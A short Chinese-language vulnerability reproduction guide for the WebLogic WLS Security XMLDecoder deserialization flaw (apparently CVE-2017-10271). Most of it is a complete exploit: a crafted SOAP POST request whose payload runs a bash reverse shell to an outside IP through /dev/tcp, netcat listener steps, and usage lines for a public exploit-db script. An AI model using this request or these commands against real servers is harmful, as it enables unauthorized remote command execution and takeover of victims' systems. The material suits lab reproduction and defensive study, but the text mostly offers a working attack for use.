Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞复现:
方法一:
1.发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml //这个是重点
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2.抓包,并修改数据包,注意图中标注的2点。
在自己vps上使用nc监听1111端口。
3.Forward发送http数据包,vps上成功getshell。
方法二:
使用exploit-db上的exp。
https://www.exploit-db.com/exploits/43458
用法:
Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
(Python 3) Example check listener: python3 -m http.server 4444
(Python 2) Example check listener: python -m SimpleHTTPServer 4444
(Netcat) Example exploit listener: nc -nlvp 4444
参考:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
https://www.exploit-db.com/exploits/43458